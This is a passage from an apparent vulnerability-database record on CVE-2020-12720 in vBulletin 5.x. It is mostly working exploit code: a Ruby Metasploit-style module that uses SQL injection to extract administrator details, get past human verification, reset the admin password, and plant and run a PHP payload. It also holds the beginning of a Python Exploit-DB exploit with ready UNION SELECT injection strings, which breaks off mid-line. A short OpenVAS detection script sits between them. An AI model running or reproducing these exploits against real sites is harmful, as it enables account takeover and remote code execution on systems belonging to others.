print_good(\"Retrieved '#{hv_hash}' human verification token.\")\r\n hv_hash\r\n end\r\n\r\n # Gets the human verification (question based) answer\r\n def get_hv_ques_answer(node_id, tbl_prfx, questionid)\r\n print_status(\"Using HV token '#{questionid}' and SQLinjection to determine HV question answer.\")\r\n hv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', \"questionid = '#{questionid}'\")\r\n\r\n if questionid.nil?\r\n return nil\r\n end\r\n\r\n print_good(\"Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.\")\r\n hv_answer\r\n end\r\n\r\n # Gets the human verification (image based) answer\r\n def get_hv_answer(node_id, tbl_prfx, hv_hash)\r\n print_status(\"Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.\")\r\n hv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', \"hash = '#{hv_hash}'\")\r\n\r\n if hv_answer.nil?\r\n return nil\r\n end\r\n\r\n print_good(\"Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.\")\r\n hv_answer\r\n end\r\n\r\n # Gets the prefix to the SQL tables used in vbulletin install\r\n def get_table_prefix(node_id)\r\n print_status('Attempting to determine the vBulletin table prefix.')\r\n table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', \"column_name='phrasegroup_cppermission'\")\r\n\r\n unless table_name && table_name.split('language').index\r\n fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')\r\n end\r\n\r\n tbl_prefix = table_name.split('language')[0]\r\n print_good(\"Sucessfully retrieved table to get prefix from #{table_name}.\")\r\n\r\n tbl_prefix\r\n end\r\n\r\n # Sends the request to begin forgot password request\r\n def begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image')\r\n print_status(\"Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.\")\r\n if type == 'Question'\r\n hv_field_name1 = 'humanverify[input]'\r\n hv_field_name2 = 'humanverify[hash]'\r\n elsif type == 'Recaptcha2'\r\n hv_field_name1 = 'unused'\r\n hv_field_name2 = 'humanverify[g-recaptcha-response]'\r\n else\r\n hv_field_name1 = 'humanverify[input]'\r\n hv_field_name2 = 'humanverify[hash]'\r\n end\r\n\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'),\r\n 'vars_post' => {\r\n 'email' => admin_email.to_s,\r\n hv_field_name1.to_s => hv_answer.to_s,\r\n hv_field_name2.to_s => hv_hash.to_s,\r\n 'securitytoken' => 'guest'\r\n }\r\n })\r\n\r\n return false unless res && res.code == 200\r\n\r\n parsed_resp = res.get_json_document\r\n\r\n return false if parsed_resp['response'] && parsed_resp['response']['errors']\r\n\r\n true\r\n end\r\n\r\n # Attempts to login to vBulletin install\r\n def login(user, pass, type = '')\r\n print_status(\"Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'),\r\n 'vars_post' => {\r\n 'logintype': type.to_s,\r\n 'username' => user.to_s,\r\n 'password' => pass.to_s,\r\n 'securitytoken' => 'guest'\r\n }\r\n })\r\n\r\n return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']\r\n\r\n print_good(\"Successfully logged in as #{user} #{type}.\")\r\n\r\n [res.get_cookies, parsed_resp['newtoken']]\r\n end\r\n\r\n # Gets an administrator's info from the database using SQLi\r\n def get_admin_info(node_id, tbl_prefix)\r\n uid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil)\r\n username = do_sqli(node_id, tbl_prefix, 'username', 'user', \"userid = '#{uid}'\")\r\n token = do_sqli(node_id, tbl_prefix, 'token', 'user', \"userid = '#{uid}'\")\r\n email = do_sqli(node_id, tbl_prefix, 'email', 'user', \"userid = '#{uid}'\")\r\n\r\n unless uid && username && token && email\r\n return [nil, nil, nil, nil]\r\n end\r\n\r\n [uid, username, token, email]\r\n end\r\n\r\n # Activates vBulletin site builder\r\n def activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar)\r\n print_status(\"Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.\")\r\n\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'),\r\n 'cookie' => [cookie_jar],\r\n 'headers' => {\r\n 'X-Requested-With' => 'XMLHttpRequest'\r\n },\r\n 'vars_post' => {\r\n 'pageid' => pageid.to_s,\r\n 'nodeid' => nodeid.to_s,\r\n 'userid' => userid.to_s,\r\n 'loadMenu' => 'false',\r\n 'isAjaxTemplateRender' => 'true',\r\n 'isAjaxTemplateRenderWithData' => 'true',\r\n 'securitytoken' => sec_token.to_s\r\n }\r\n })\r\n\r\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']\r\n\r\n print_good('Successfully enabled site-builder functionality.')\r\n true\r\n end\r\n\r\n # Creates new widget instance\r\n def new_widget_instance(sec_token, cookie_jar)\r\n print_status(\"Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'),\r\n 'cookie' => [cookie_jar],\r\n 'vars_post' => {\r\n 'containerinstanceid' => '0',\r\n 'widgetid' => '23', # PHP widget type ID\r\n 'pagetemplateid' => '',\r\n 'securitytoken' => sec_token.to_s\r\n }\r\n })\r\n\r\n return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid']\r\n\r\n print_good('Created new widget instance.')\r\n\r\n [parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']]\r\n end\r\n\r\n # Saves a new widget to vBulletin.\r\n def save_widget(pt_id, wi_id, payload, sec_token, cookie_jar)\r\n print_status(\"Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'),\r\n 'cookie' => [cookie_jar],\r\n 'vars_post' => {\r\n 'widgetid' => '23', # PHP widget type ID\r\n 'pagetemplateid' => pt_id.to_s,\r\n 'widgetinstanceid' => wi_id.to_s,\r\n 'data[widget_type]' => '',\r\n 'data[title]' => rand_text_alphanumeric(rand(6..16)),\r\n 'data[show_at_breakpoints][desktop]' => '1',\r\n 'data[show_at_breakpoints][small]' => '1',\r\n 'data[show_at_breakpoints][xsmall]' => '1',\r\n 'data[hide_title]' => '1',\r\n 'data[module_viewpermissions][key]' => 'show_all',\r\n 'data[code]' => payload.encoded.to_s,\r\n 'securitytoken' => sec_token.to_s\r\n }\r\n })\r\n\r\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']\r\n\r\n print_good('Successfully added payload to widget.')\r\n\r\n true\r\n end\r\n\r\n # Sends request to reset password using activation id.\r\n def reset_password(admin_uid, act_id, new_pass)\r\n print_status(\"Sending reset password request to '#{target_uri.path}/auth/reset-password'.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'),\r\n 'headers' => {\r\n 'X-Requested-With' => 'XMLHttpRequest'\r\n },\r\n 'vars_post' => {\r\n 'userid' => admin_uid.to_s,\r\n 'activationid' => act_id.to_s,\r\n 'new-password' => new_pass.to_s,\r\n 'new-password-confirm' => new_pass.to_s,\r\n 'securitytoken' => 'guest'\r\n }\r\n })\r\n\r\n unless res && res.code == 200 && res.body.to_s =~ /Logging in/\r\n return nil\r\n end\r\n\r\n print_good(\"User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.\")\r\n\r\n true\r\n end\r\n\r\n # Deletes a page in vbulletin\r\n def delete_page(pageid, login_token, cookie_jar)\r\n print_status(\"Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'),\r\n 'cookie' => [cookie_jar],\r\n 'headers' => {\r\n 'X-Requested-With' => 'XMLHttpRequest'\r\n },\r\n 'vars_post' => {\r\n 'pageid' => pageid.to_s,\r\n 'securitytoken' => login_token.to_s\r\n }\r\n })\r\n\r\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']\r\n\r\n print_good(\"Successfully deleted page with pageid: #{pageid}\")\r\n\r\n true\r\n end\r\n\r\n # Makes request to execute PHP payload.\r\n def exec_payload(rest_url)\r\n print_status(\"Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.\")\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, rest_url)\r\n })\r\n\r\n unless res && res.code == 200\r\n return nil\r\n end\r\n\r\n print_good('Request made succesfully, payload should be executing now.')\r\n\r\n true\r\n end\r\n\r\n # Fetches a human verification question based on hash.\r\n def get_hv_question(hash)\r\n print_status(\"Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'),\r\n 'vars_post' => {\r\n 'hash' => hash.to_s\r\n }\r\n })\r\n\r\n unless res && res.code == 200 && res.body.to_s !~ /\"errors\"/\r\n return nil\r\n end\r\n\r\n res.body.to_s.tr('\"', '')\r\n end\r\n\r\n # Saves a new page to the vBulletin install\r\n def save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info)\r\n print_status(\"Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'),\r\n 'cookie' => [session_info[1]],\r\n 'vars_post' => {\r\n 'input[ishomeroute]' => '0',\r\n 'input[pageid]' => '0',\r\n 'input[nodeid]' => nodeid.to_s,\r\n 'input[userid]' => userid.to_s,\r\n 'input[screenlayoutid]' => '2',\r\n 'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)),\r\n 'input[displaysections[0]]' => '[]',\r\n 'input[displaysections[1]]' => '[]',\r\n 'input[displaysections[2]]' => \"[{\\\"widgetId\\\":\\\"23\\\",\\\"widgetInstanceId\\\":\\\"#{wi_id}\\\"}]\",\r\n 'input[displaysections[3]]' => '[]',\r\n 'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)),\r\n 'input[resturl]' => payload_url.to_s,\r\n 'input[metadescription]' => rand_text_alphanumeric(rand(5..10)),\r\n 'input[pagetemplateid]' => pt_id.to_s,\r\n 'url' => normalize_uri(target_uri.path),\r\n 'securitytoken' => session_info[0].to_s\r\n }\r\n })\r\n\r\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']\r\n\r\n print_good(\"Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.\")\r\n\r\n parsed_resp['pageid']\r\n end\r\n\r\n # Gets human verification type (options: \"Question\" | \"Image\" | Recaptcha2 | \"Disabled\")\r\n def get_hv_type\r\n\r\n print_status(\"Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.\")\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType')\r\n })\r\n\r\n unless res && res.code == 200\r\n return nil\r\n end\r\n\r\n hv_type = res.body.to_s.tr('\"', '')\r\n print_good(\"Retrieved HV/captcha type of '#{hv_type}'.\")\r\n\r\n hv_type.to_s.tr(\"'\", '')\r\n end\r\n\r\n # Brute force a nodeid (attack requires a valid nodeid)\r\n def brute_force_node\r\n min = datastore['MINNODE']\r\n max = datastore['MAXNODE']\r\n\r\n if min > max\r\n print_error(\"MINNODE can't be major than MAXNODE.\")\r\n return nil\r\n end\r\n\r\n for node_id in min..max\r\n if exists_node?(node_id)\r\n return node_id\r\n end\r\n end\r\n\r\n nil\r\n end\r\n\r\n # Checks if a nodeid is valid\r\n def exists_node?(id)\r\n res = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'),\r\n 'vars_post' => {\r\n 'nodeid' => id.to_s\r\n }\r\n })\r\n\r\n unless res && res.code == 200\r\n return nil\r\n end\r\n\r\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']\r\n\r\n print_good(\"Sucessfully found node at id #{id}\")\r\n true\r\n end\r\n\r\n # Gets a node through BF or user supplied value\r\n def get_node\r\n if datastore['NODE'].nil? || datastore['NODE'] <= 0\r\n print_status('Brute forcing to find a valid node id.')\r\n return brute_force_node\r\n end\r\n\r\n print_status(\"Checking node id '#{datastore['NODE']}'.\")\r\n return datastore['NODE'] if exists_node?(datastore['NODE'])\r\n\r\n nil\r\n end\r\n\r\n # Check function for exploit\r\n def check\r\n res = send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path, 'js', 'login.js')\r\n })\r\n\r\n return CheckCode::Unknown unless res && res.code == 200\r\n\r\n return CheckCode::Safe if res.body.to_s =~ /vBulletin 5\\.6\\.1 Patch Level 1/\r\n\r\n if res.body.to_s =~ /vBulletin ([\\.0-9]+)/\r\n if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.6.1')\r\n return CheckCode::Safe\r\n elsif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.0.0')\r\n return CheckCode::Appears\r\n end\r\n\r\n return CheckCode::Detected\r\n end\r\n\r\n CheckCode::Safe\r\n end\r\n\r\n # Performs all exploit functionality\r\n def exploit\r\n super\r\n\r\n # Get node_id for requests\r\n node_id = get_node\r\n fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id\r\n\r\n # Get vBulletin table prefix\r\n table_prfx = get_table_prefix(node_id)\r\n fail_with(Failure::UnexpectedReply, 'Could not determine the table prefix for the vBulletin install.') unless table_prfx\r\n\r\n # Get admin info (email, uid, token)\r\n admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)\r\n unless admin_uid && admin_user && admin_token && admin_email\r\n fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')\r\n end\r\n print_good(\"Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}\")\r\n\r\n if !datastore['MANUALLOSTPASS']\r\n # Determine HV type\r\n hv_type = get_hv_type\r\n\r\n fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type\r\n\r\n fail_with(Failure::Unknown, \"Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})\") unless ['Recaptcha2', 'Disabled'].exclude? hv_type\r\n\r\n # Generate HV token and get answer\r\n if hv_type == 'Image' && hv_type != 'Disabled'\r\n hv_hash = get_hv_hash\r\n hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)\r\n fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer\r\n\r\n elsif hv_type == 'Question' && hv_type != 'Disabled'\r\n hv_hash = get_hv_hash\r\n fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash\r\n\r\n ques_id = get_hv_answer(node_id, table_prfx, hv_hash)\r\n fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id\r\n\r\n hv_question = get_hv_question(hv_hash)\r\n hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)\r\n fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer\r\n\r\n print_good(\"Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).\")\r\n end\r\n\r\n # Make request to forget my password\r\n brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)\r\n\r\n # We fail here when the answer to the HV question contains a complex regex or is recaptcha2\r\n fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret\r\n end\r\n\r\n # Get Activation ID for forgot password request from DB\r\n activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', \"userid = '#{admin_uid}'\")\r\n fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id\r\n\r\n # Make request setting new password\r\n new_pass = rand_text_alphanumeric(rand(10..16))\r\n rp_ret = reset_password(admin_uid, activation_id, new_pass)\r\n fail_with(Failure::UnexpectedReply, \"Error attempting to reset password with activation id '#{activation_id}'.\") unless rp_ret\r\n\r\n # Login to vBulletin\r\n cookie_jar, login_token = login(admin_user, new_pass)\r\n fail_with(Failure::NoAccess, \"Could not login with username: '#{admin_user}' and password: '#{new_pass}'.\") unless login_token\r\n\r\n # Activate Site Builder (is this necessary?!)\r\n actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)\r\n fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret\r\n\r\n # Login to vBulletin\r\n cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')\r\n fail_with(Failure::NoAccess, \"Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.\") unless login_token\r\n\r\n # Create new widget\r\n wi_id, pt_id = new_widget_instance(login_token, cookie_jar)\r\n fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id\r\n\r\n # Save modifications to widget\r\n sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)\r\n fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret\r\n\r\n # Add page with widget embedded\r\n payload_url = rand_text_alphanumeric(rand(6..10))\r\n session_info = [login_token, cookie_jar]\r\n page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)\r\n fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id\r\n\r\n # Execute php payload\r\n print_good(\"Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.\")\r\n exec_payload(payload_url)\r\n\r\n # Delete page with widget embedded within it\r\n dp_ret = delete_page(page_id, login_token, cookie_jar)\r\n print_bad('Could not delete page (cleanup phase).') unless dp_ret\r\n end\r\n\r\nend\n\n# 0day.today [2020-07-19] #", "sourceHref": "https://0day.today/exploit/34507", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "openvas": [{"lastseen": "2020-05-16T15:42:40", "description": "vBulletin has incorrect access controls.", "cvss3": {}, "published": "2020-05-11T00:00:00", "type": "openvas", "title": "vBulletin < 5.6.1 Security Patch Level 1 Vulnerability", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2020-12720"], "modified": "2020-05-11T00:00:00", "id": "OPENVAS:1361412562310143872", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310143872", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Some text descriptions might be excerpted from (a) referenced\n# source(s), and are Copyright (C) by the respective right holder(s).\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nCPE = \"cpe:/a:vbulletin:vbulletin\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.143872\");\n script_version(\"2020-05-11T02:51:53+0000\");\n script_tag(name:\"last_modification\", value:\"2020-05-11 02:51:53 +0000 (Mon, 11 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-05-11 02:36:36 +0000 (Mon, 11 May 2020)\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n\n script_cve_id(\"CVE-2020-12720\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner_unreliable\"); # Patch level not detected\n\n script_name(\"vBulletin < 5.6.1 Security Patch Level 1 Vulnerability\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"vbulletin_detect.nasl\");\n script_mandatory_keys(\"vbulletin/detected\");\n\n script_tag(name:\"summary\", value:\"vBulletin has incorrect access controls.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"affected\", value:\"vBulletin versions prior to 5.5.6 Patch Level 1, 5.6.0 Patch Level 1 and\n 5.6.1 Patch Level 1.\");\n\n script_tag(name:\"solution\", value:\"Update to 5.5.6 Patch Level 1, 5.6.0 Patch Level 1, 5.6.1 Patch Level 1\n or later.\");\n\n script_xref(name:\"URL\", value:\"https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1\");\n\n exit(0);\n}\n\ninclude(\"host_details.inc\");\ninclude(\"version_func.inc\");\n\nif (!port = get_app_port(cpe: CPE))\n exit(0);\n\nif (!infos = get_app_version_and_location(cpe: CPE, port: port, exit_no_version: TRUE))\n exit(0);\n\nversion = infos[\"version\"];\nlocation = infos[\"location\"];\n\nif (version_is_less_equal(version: version, test_version: \"5.5.6\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"5.5.6 Patch Level 1\", install_path: location);\n security_message(port: port, data: report);\n exit(0);\n}\n\nif (version_is_equal(version: version, test_version: \"5.6.0\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"5.6.0 Patch Level 1\", install_path: location);\n security_message(port: port, data: report);\n exit(0);\n}\n\nif (version_is_equal(version: version, test_version: \"5.6.1\")) {\n report = report_fixed_ver(installed_version: version, fixed_version: \"5.6.1 Patch Level 1\", install_path: location);\n security_message(port: port, data: report);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "dsquare": [{"lastseen": "2021-07-28T14:33:45", "description": "SQL Injection vulnerability in vBulletin nodeId parameter\n\nVulnerability Type: SQL Injection", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-25T00:00:00", "type": "dsquare", "title": "vBulletin 5 SQL Injection", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-12720"], "modified": "2020-06-25T00:00:00", "id": "E-706", "href": "", "sourceData": "For the exploit source code contact DSquare Security sales team.", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "exploitdb": [{"lastseen": "2022-08-16T06:07:05", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-15T00:00:00", "type": "exploitdb", "title": "vBulletin 5.6.1 - 'nodeId' SQL Injection", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-12720"], "modified": "2020-05-15T00:00:00", "id": "EDB-ID:48472", "href": "https://www.exploit-db.com/exploits/48472", "sourceData": "# Exploit Title: vBulletin 5.6.1 - 'nodeId' SQL Injection\r\n# Date: 2020-05-15\r\n# Exploit Author: Photubias\r\n# Vendor Advisory: [1] https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1\r\n# Version: vBulletin v5.6.x (prior to Patch Level 1)\r\n# Tested on: vBulletin v5.6.1 on Debian 10 x64\r\n# CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE\r\n\r\n#!/usr/bin/env python3\r\n'''\r\n\r\n \r\n\tCopyright 2020 Photubias(c)\r\n\r\n This program is free software: you can redistribute it and/or modify\r\n it under the terms of the GNU General Public License as published by\r\n the Free Software Foundation, either version 3 of the License, or\r\n (at your option) any later version.\r\n\r\n This program is distributed in the hope that it will be useful,\r\n but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\r\n GNU General Public License for more details.\r\n\r\n You should have received a copy of the GNU General Public License\r\n along with this program. If not, see <http://www.gnu.org/licenses/>.\r\n \r\n File name CVE-2020-12720.py\r\n written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be\r\n\r\n This is a native implementation without requirements, written in Python 3.\r\n Works equally well on Windows as Linux (as MacOS, probably ;-)\r\n \r\n ##-->> Full creds to @zenofex and @rekter0 <<--##\r\n'''\r\nimport urllib.request, urllib.parse, sys, http.cookiejar, ssl, random, string\r\n\r\n## Static vars; change at will, but recommend leaving as is\r\nsADMINPASS = '12345678'\r\nsCMD = 'id'\r\nsURL = 'http://192.168.50.130/'\r\nsUSERID = '1'\r\nsNEWPASS = '87654321'\r\niTimeout = 5\r\n\r\n## Ignore unsigned certs\r\nssl._create_default_https_context = ssl._create_unverified_context\r\n\r\n## Keep track of cookies between requests\r\ncj = http.cookiejar.CookieJar()\r\noOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))\r\n\r\ndef randomString(stringLength=8):\r\n letters = string.ascii_lowercase\r\n return ''.join(random.choice(letters) for i in range(stringLength))\r\n\r\ndef getData(sUrl, lData):\r\n try:\r\n oData = urllib.parse.urlencode(lData).encode()\r\n oRequest = urllib.request.Request(url = sUrl, data = oData)\r\n return oOpener.open(oRequest, timeout = iTimeout)\r\n except:\r\n print('----- ERROR, site down?')\r\n sys.exit(1)\r\n\r\ndef verifyBug(sURL,sUserid='1'):\r\n sPath = 'ajax/api/content_infraction/getIndexableContent'\r\n lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,\"cve-2020-12720\",8,7,6,5,4,3,2,1;--'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n if not 'cve-2020-12720' in sResponse:\r\n print('[!] Warning: not vulnerable to CVE-2020-12720, credentials are needed!')\r\n return False\r\n else:\r\n print('[+] SQLi Success!')\r\n return True\r\n\r\ndef takeoverAccount(sURL, sNEWPASS):\r\n sPath = 'ajax/api/content_infraction/getIndexableContent'\r\n ### Source: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720\r\n ## Get Table Prefixes\r\n lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\\'phrasegroup_cppermission\\';--'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n if 'rawtext' in sResponse: sPrefix = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','').replace('language','')\r\n else: sPrefix = ''\r\n #print('[+] Got table prefix \"'+sPrefix+'\"')\r\n\r\n ## Get usergroup ID for \"Administrators\"\r\n lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'usergroup WHERE title=\\'Administrators\\';--'}\r\n sResponse = getData(sURL + sPath, 